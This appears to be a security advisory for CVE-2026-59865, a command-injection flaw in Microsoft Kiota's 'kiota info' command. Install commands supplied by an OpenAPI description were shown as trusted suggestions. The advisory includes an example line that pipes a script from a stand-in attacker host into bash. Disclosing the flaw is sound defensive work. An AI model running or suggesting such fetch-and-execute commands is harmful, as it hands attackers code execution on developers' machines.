CVE-2026-59865: Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`
(updated )
kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool’s own recommended install
command, replacing kiota’s normally-trusted suggestion. With an attacker-controlled or compromised
description:
$ kiota info -d <attacker-spec> -l CSharp
...
Hint: use the install command to install the dependencies.
Example:
curl -s https://attacker.example/x.sh | bash # attacker-controlled
A developer who followed kiota’s explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an “install dependencies” action in the IDE could run it automatically.
Confirmed on Kiota 1.32.4.
References
- github.com/advisories/GHSA-hq9q-27g5-qwpj
- github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6
- github.com/microsoft/kiota/pull/7883
- github.com/microsoft/kiota/releases/tag/v1.32.5
- github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj
- nvd.nist.gov/vuln/detail/CVE-2026-59865
Code Behaviors & Features
Detect and mitigate CVE-2026-59865 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →